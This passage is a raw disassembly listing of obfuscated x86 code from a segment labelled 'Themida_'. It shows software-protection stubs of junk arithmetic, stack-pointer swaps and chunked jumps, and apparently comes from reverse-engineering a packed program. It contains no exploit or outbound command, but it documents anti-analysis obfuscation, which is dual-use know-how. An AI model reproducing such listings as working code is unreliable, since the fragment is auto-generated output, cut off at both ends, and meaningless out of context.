var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D36D SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ecx
		mov	ch, 4
		push	ebx
		jmp	loc_58D36D
sub_58EE27	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58EE39:				; CODE XREF: Themida_:0058C553j
					; sub_596082-2EE1j
		pop	esp
		jmp	loc_593BF1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58EE3F:				; CODE XREF: Themida_:0059747Ej
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58AEC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58EE50:				; CODE XREF: sub_58E66C+5A8Cj
		pop	esp
		jmp	loc_594798
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58DCED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58EE5F:				; CODE XREF: sub_593009+295Fj
		mov	ebx, 0
		jmp	loc_592146
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58EE69:				; CODE XREF: sub_58E91C-17E2j
		push	esi
		mov	esi, 4
		add	ebp, 4F9902FBh
		add	ebp, esi
		sub	ebp, 4F9902FBh
		pop	esi
		xor	ebp, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebp
		xor	ebp, [esp-0Ch+arg_8]
		pop	esp
		push	3FF2h
		jmp	loc_592F38
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58EE92:				; CODE XREF: sub_596082-9E74j
		sub	al, bl
		add	al, 0AAh
		push	ecx
		mov	ch, 49h
		push	small 62E9h
		mov	word ptr [esp+2Ch+var_2E+2], bx
		mov	bl, 1
		add	al, bl
		jmp	loc_5975A8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58EEAA:				; CODE XREF: sub_58C878-294j
		pop	ebx
		add	al, cl
		push	cx
		mov	cl, 3Fh
		add	al, 58h
		sub	al, 4Eh
		add	al, cl
		add	al, 4Eh
		sub	al, 58h
		pop	cx
		jmp	loc_58A886
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58EEC2:				; CODE XREF: sub_58E66C-1DA6j
		add	ecx, 0E9975A9Fh
		push	ecx
		sub	[esp+0Eh+var_10+2], 6AC75DC8h
		pop	eax
		jmp	loc_58AE66
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58EED6:				; CODE XREF: Themida_:0058E667j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58EEDB:				; CODE XREF: Themida_:005940D3j
		xor	edx, 0B3FCA9E0h
		mov	esi, edx
		pop	edx
		sub	ebx, 60D35CEh
		add	ebx, esi
		add	ebx, 60D35CEh
		mov	esi, [esp]
		jmp	loc_59560D
; ---------------------------------------------------------------------------


loc_58EEFA:				; CODE XREF: Themida_:00592BBCj
		push	dword ptr [esp]
		jmp	loc_59462B
; ---------------------------------------------------------------------------


loc_58EF02:				; CODE XREF: Themida_:00592F5Fj
		sub	ebx, 535B540Ch
		pop	eax
		jmp	loc_58BC68
; ---------------------------------------------------------------------------


loc_58EF0E:				; CODE XREF: Themida_:0058DC2Fj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5972BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58EF1B:				; CODE XREF: sub_58E66C+1E7Dj
		xchg	ebx, esi
		xchg	edi, ebx
		jmp	loc_593091
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58EF24:				; CODE XREF: Themida_:0058CAB7j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	al, 0FCh
		add	al, cl
		jmp	loc_590895
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	4E7Dh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 35187059h
		sub	ebx, 143779A3h
		dec	ebx
		inc	ebx
		xor	ebx, 763C4149h
		add	ebx, 0A9234805h
		add	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_58F46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CC47


loc_58EF70:				; CODE XREF: sub_58CC47+Cj
		pop	esp
		sub	ebx, eax
		push	ebp
		mov	ebp, 53B300AAh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_596491
; END OF FUNCTION CHUNK	FOR sub_58CC47
; ---------------------------------------------------------------------------


loc_58EF81:				; CODE XREF: Themida_:00595BB1j
		not	esi
		add	esi, 1
		sub	esi, 75E32597h
		xor	esi, 4E3D68EBh
		sub	eax, 5EC65FFAh
		sub	eax, esi
		add	eax, 5EC65FFAh
		pop	esi
		push	esi
		push	eax
		jmp	loc_58CD7F
; ---------------------------------------------------------------------------


loc_58EFA6:				; CODE XREF: Themida_:0058C5F9j
		pop	dword ptr [esp]
		jmp	loc_58B787
; ---------------------------------------------------------------------------


loc_58EFAE:				; CODE XREF: Themida_:005924FDj
		push	dword ptr [eax]
		jmp	loc_591DBD
; ---------------------------------------------------------------------------


loc_58EFB5:				; CODE XREF: Themida_:00590540j
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58EFC2:				; CODE XREF: sub_58F160+4DFAj
		push	0
		sub	[esp+4+var_4], ebx
		pop	ebx
		push	6FCh
		mov	[esp+4+var_4], ebp
		jmp	loc_58BC96
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB60


loc_58EFD8:				; CODE XREF: sub_58DB60-D15j
		add	ecx, 0CA35768h
		jmp	loc_58F3B1
; END OF FUNCTION CHUNK	FOR sub_58DB60
; ---------------------------------------------------------------------------


loc_58EFE3:				; CODE XREF: Themida_:00596873j
		xor	ch, 0Ah
		add	ch, 1Eh
		add	ch, 1
		push	dx
		jmp	loc_5931E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_58EFF3:				; CODE XREF: sub_5952B4+BE7j
		mov	[esp-4+arg_0], ecx
		pop	ebp
		jmp	loc_58FE77
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58EFFC:				; CODE XREF: sub_58E66C-3348j
		mov	esi, edx
		pop	edx
		push	ecx
		jmp	loc_58C8B4
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58F005:				; CODE XREF: Themida_:00594BADj
		push	esi
		mov	esi, 5CCF60FAh
		sub	edi, 0EB7871h
		jmp	loc_59446D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_58F016:				; CODE XREF: sub_593983+80Dj
		mov	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_58D4C3
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58F02A:				; CODE XREF: sub_5F45E7-69F3Fj
		jmp	loc_593D49
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F02F:				; CODE XREF: sub_58E66C+80CDj
		xchg	ecx, [esp+8+var_8]
		jmp	loc_595D71
; ---------------------------------------------------------------------------


loc_58F037:				; CODE XREF: sub_58E66C+42A8j
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58F046:				; CODE XREF: Themida_:005910B3j
		mov	[esp], esi
		push	4E4Bh
		jmp	loc_59468D
; ---------------------------------------------------------------------------


loc_58F053:				; CODE XREF: Themida_:00593A4Fj
		mov	eax, [esp]
		push	esi
		jmp	loc_591E95
; ---------------------------------------------------------------------------


loc_58F05C:				; CODE XREF: Themida_:0058C053j
		mov	edi, 35D802C0h
		xor	edi, 266A2A8Bh
		shr	edi, 6
		neg	edi
		xor	edi, 0C8C06D1Eh
		sub	ebp, 9863138h
		sub	ebp, edi
		add	ebp, 9863138h
		jmp	loc_595CD9
; ---------------------------------------------------------------------------


loc_58F085:				; CODE XREF: Themida_:00591465j
		neg	eax
		jmp	loc_58DAF1
; ---------------------------------------------------------------------------


loc_58F08C:				; CODE XREF: Themida_:0058B5E9j
		mov	ecx, [esp]
		jmp	loc_5908FC
; ---------------------------------------------------------------------------


loc_58F094:				; CODE XREF: Themida_:0058A98Fj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_58CDBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58F0A8:				; CODE XREF: sub_58C878+3295j
		shl	edx, 2
		inc	edx
		inc	edx
		neg	edx
		not	edx
		jmp	loc_58AC24
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58F0B6:				; CODE XREF: sub_5F45E7-6232Aj
		add	eax, 4
		add	eax, 2
		jmp	loc_590E29
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F0C5:				; CODE XREF: sub_596082-392Fj
		push	ecx
		push	eax
		mov	eax, 9660E10h
		xor	eax, 244F6755h
		jmp	loc_5907D0
; ---------------------------------------------------------------------------


loc_58F0D6:				; CODE XREF: sub_596082-15CAj
		sub	edi, 23A01712h
		add	edi, 4A99575Fh
		xor	edi, 6EF0C3h
		add	ecx, edi
		pop	edi
		shr	ecx, 8
		sub	ecx, 0B8CC09A6h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58ADF4
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F0FC:				; CODE XREF: Themida_:0058DB98j
		sub	dword ptr [esp], 44490878h
		jmp	loc_58CF50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F108:				; CODE XREF: sub_58E66C+4849j
		mov	edx, [esp+4+var_4]
		jmp	loc_58D313
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58F110:				; CODE XREF: sub_58F160-2157j
		sub	ebx, eax
		pop	eax
		push	eax
		push	ebx
		mov	ebx, 48747BFDh
		mov	eax, ebx
		jmp	loc_595854
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58F121:				; CODE XREF: sub_58AE7C+2D0Dj
		shr	edx, 6
		push	ecx
		mov	ecx, 2CDE0549h
		push	ecx
		jmp	loc_58C423
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F130:				; CODE XREF: sub_58E66C+31D8j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	esi
		jmp	loc_596B3A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F140:				; CODE XREF: sub_596082-89FEj
		add	ebp, 4
		push	ebp
		push	[esp+0Ch+var_8]
		jmp	loc_58E504
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F14D:				; CODE XREF: Themida_:00593882j
		pop	edi
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_5948CF
; ---------------------------------------------------------------------------


loc_58F158:				; CODE XREF: Themida_:0058E7FFj
		mov	ecx, [esp]
		jmp	loc_591F8A

; =============== S U B	R O U T	I N E =======================================



sub_58F160	proc near		; CODE XREF: Themida_:0058D4EDj
					; sub_596082-8258j ...

var_12		= dword	ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0058A656 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A9C8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058AA54 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058AB03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AD14 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058AD66 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B23E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B29D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B2EB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B4FB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058B8F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058BC12 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BC96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C183 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058CDBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D003 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D6C4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D716 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D7EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DB9D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058DC4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E253 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E486 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E8B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EB21 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058EBFE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058EFC2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F110 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F436 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F7A5 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005900F4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590AF1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590CF9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590FB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059134C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005915B8 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00591649 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059227F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059250F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592881 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592AE5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00592C60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593662 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005936C6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005937AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593CBA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593D22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593DC2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00593DFF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593F49 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005940FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005942B6 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059440A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595854 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005958B5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595BB6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596006 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596489 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596E0C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005975B1 SIZE 00000008 BYTES

		push	ebp
		push	3F0B47D4h
		pop	ebp
		dec	ebp
		jle	loc_59250F
		push	edi
		mov	edi, 5EB23978h
		dec	edi
		not	edi
		shr	edi, 7
		or	edi, 195A08A1h
		add	edi, 0EC19769Dh
		or	ebp, edi
		jmp	loc_58A9C8
sub_58F160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_58F18D:				; CODE XREF: sub_5925A4-6FD1j
		xchg	eax, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_596B31
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F196:				; CODE XREF: sub_596082+1441j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5922C9
; ---------------------------------------------------------------------------


loc_58F1A7:				; CODE XREF: sub_596082-60AFj
		and	al, 0CDh
		and	al, 0EEh
		inc	al
		not	al
		shr	al, 3
		sub	al, 6Eh
		jmp	loc_596096
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F1B9:				; CODE XREF: Themida_:0058EAEBj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	79ACh
		jmp	loc_58FCE2
; ---------------------------------------------------------------------------


loc_58F1CD:				; CODE XREF: Themida_:0058FB5Cj
		mov	edi, 2
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_58D5E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58F1E4:				; CODE XREF: sub_58A5F7+101Cj
		xor	eax, ecx
		jmp	loc_593A44
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2BE


loc_58F1EB:				; CODE XREF: sub_58E2BE-1B21j
		or	eax, eax
		jz	loc_58B13E
		push	dword ptr [edi+28h]
		push	esi
		push	ecx
		mov	ecx, 759E2C9Eh
		jmp	loc_58D728
; END OF FUNCTION CHUNK	FOR sub_58E2BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58F202:				; CODE XREF: sub_593009+1971j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_58BE98
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58F210:				; CODE XREF: Themida_:00597605j
		push	ecx
		push	42E45D85h
		pop	ecx
		add	ecx, 7C126F07h
		sub	ecx, 2FEC2466h
		jmp	loc_58BD8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F228:				; CODE XREF: sub_58E66C+4522j
		pop	ebx
		jmp	loc_591DB5
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58F22E:				; CODE XREF: Themida_:00591A81j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 36B8008Bh
		jmp	loc_58FEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594239


loc_58F242:				; CODE XREF: sub_594239+9j
		mov	edi, esp
		jmp	loc_590B0F
; END OF FUNCTION CHUNK	FOR sub_594239
; ---------------------------------------------------------------------------


loc_58F249:				; CODE XREF: Themida_:00595EFDj
		or	bh, cl
		pop	cx
		jmp	loc_5960A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F252:				; CODE XREF: sub_596082:loc_59378Ej
		add	eax, 0E7CB11EDh
		push	eax
		jmp	loc_595484
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F25D:				; CODE XREF: Themida_:0059111Fj
		pop	ecx
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_592980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58F270:				; CODE XREF: sub_594F3F+203Bj
		push	eax
		mov	eax, 535217CBh
		jmp	loc_59023B
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_58F27B:				; CODE XREF: Themida_:0059038Fj
		push	edi
		jmp	loc_596D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_58F281:				; CODE XREF: sub_5917EE-5D9Cj
		mov	esi, [esp+10h+var_10]
		jmp	loc_597076
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------


loc_58F289:				; CODE XREF: Themida_:005901D8j
		pop	ebp
		sub	eax, edi
		jmp	loc_58F3F9
; ---------------------------------------------------------------------------


loc_58F291:				; CODE XREF: Themida_:005935FDj
		xor	dl, cl
		pop	ecx
		sub	dl, 0F1h
		jmp	loc_58DBC0
; ---------------------------------------------------------------------------


loc_58F29C:				; CODE XREF: Themida_:0058C368j
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_593FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5967D4


loc_58F2B2:				; CODE XREF: Themida_:0058B3ECj
					; sub_5967D4-63FFj
		not	ebx
		sub	ebx, 8DF8F328h
		add	edi, ebx
		jmp	loc_58ABB7
; END OF FUNCTION CHUNK	FOR sub_5967D4
; ---------------------------------------------------------------------------


loc_58F2C1:				; CODE XREF: Themida_:0058D2FBj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		movsx	ecx, ax
		jmp	loc_5938AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F2D0:				; CODE XREF: sub_596082-6198j
		jl	loc_593F8F
		inc	ebx
		sub	ebx, 49C1CBD0h
		mov	esi, ebx
		pop	ebx
		not	esi
		shl	esi, 8
		jns	loc_596D3F
		not	esi
		push	ebx
		jmp	loc_5969E4
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F2F3:				; CODE XREF: Themida_:00594631j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_58C550
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58F313:				; CODE XREF: sub_596498-7067j
		push	eax
		push	edx
		jmp	loc_592762
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F31A:				; CODE XREF: sub_58E66C:loc_58E966j
		add	ecx, 0E9975A9Fh
		push	ecx
		jmp	loc_597202
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58F326:				; CODE XREF: Themida_:0058DC59j
		sub	edi, 3C540BC4h
		inc	edi
		and	edi, 52A25071h
		jmp	loc_5928F4
; ---------------------------------------------------------------------------


loc_58F338:				; CODE XREF: Themida_:0059386Cj
		push	ebp
		mov	ebp, 4
		add	edi, 651E3C93h
		sub	edi, ebp
		sub	edi, 651E3C93h
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59153E
; ---------------------------------------------------------------------------


loc_58F35F:				; CODE XREF: Themida_:0058CCD5j
					; Themida_:00595769j
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_592DF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F369:				; CODE XREF: sub_58E66C+329j
		add	edi, ecx
		pop	ecx
		shr	edi, 6
		jnz	loc_594325
		add	edi, 0FECE825Eh
		add	ecx, edi
		pop	edi
		or	al, 0A7h


loc_58F380:				; CODE XREF: Themida_:0058AA7Fj
					; sub_58DB60-18B7j
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		mov	edx, ebp
		jmp	loc_595E59
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F38D:				; CODE XREF: sub_596082-2AFCj
		push	edx
		mov	edx, 65EF4D02h
		add	edx, 641719FCh
		jmp	loc_58CB1A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F39E:				; CODE XREF: Themida_:00595788j
		add	esi, 47964AD6h
		push	ebx
		mov	ebx, 2CB4400h
		add	esi, ebx
		jmp	loc_594C31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB60


loc_58F3B1:				; CODE XREF: sub_58DB60+147Ej
		sub	ecx, esi
		sub	ecx, 0CA35768h
		pop	esi
		pop	eax
		push	7FB4h
		mov	[esp+0], edx
		push	5AC4h
		mov	[esp+4+var_4], ebp
		push	3AAE6722h
		pop	ebp
		push	ebp
		neg	[esp+8+var_8]
		pop	ebp
		jmp	loc_58C29E
; END OF FUNCTION CHUNK	FOR sub_58DB60
; ---------------------------------------------------------------------------


loc_58F3DB:				; CODE XREF: Themida_:00594B54j
		push	eax
		sub	esp, 4
		jmp	loc_58F4FE
; ---------------------------------------------------------------------------


loc_58F3E4:				; CODE XREF: Themida_:0058CA4Bj
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_597102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58F3EE:				; CODE XREF: sub_58A5F7+323j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59039E
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_58F3F9:				; CODE XREF: Themida_:0058F28Cj
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_592502
; ---------------------------------------------------------------------------


loc_58F40D:				; CODE XREF: Themida_:0058BB49j
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_592B56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58F417:				; CODE XREF: sub_58AE7C+6271j
		dec	edx
		jmp	loc_58DB79
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58F41D:				; CODE XREF: sub_596498-592Dj
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	sub_5926EF
		push	dword ptr [edi+28h]
		jmp	loc_58F313
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58F436:				; CODE XREF: sub_58F160-4796j
		sub	ebp, 0F0020CCh
		mov	edi, ebp
		jmp	loc_591649
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58F443:				; CODE XREF: Themida_:00590350j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58F451:				; CODE XREF: sub_596498-4D0Dj
		push	eax
		push	0CE11531h
		pop	eax
		xor	eax, 1A6D6CF2h
		push	edi
		mov	edi, eax
		jmp	loc_595D79
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595387


loc_58F465:				; CODE XREF: sub_595387-7948j
		test	cl, al
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_595387
; ---------------------------------------------------------------------------


loc_58F46D:				; CODE XREF: Themida_:0058EF6Bj
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_58C5CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59765D


loc_58F485:				; CODE XREF: sub_59765D-666Dj
		pop	esi
		xor	ebp, 4C81104h
		and	eax, ebp
		push	[esp+4+var_4]
		pop	ebp
		jmp	sub_58E2BE
; END OF FUNCTION CHUNK	FOR sub_59765D
; ---------------------------------------------------------------------------


loc_58F497:				; CODE XREF: Themida_:00590F7Bj
		not	cl
		jmp	loc_59770F
; ---------------------------------------------------------------------------


loc_58F49E:				; CODE XREF: Themida_:0059676Bj
		push	ecx
		mov	ecx, 6D197C24h
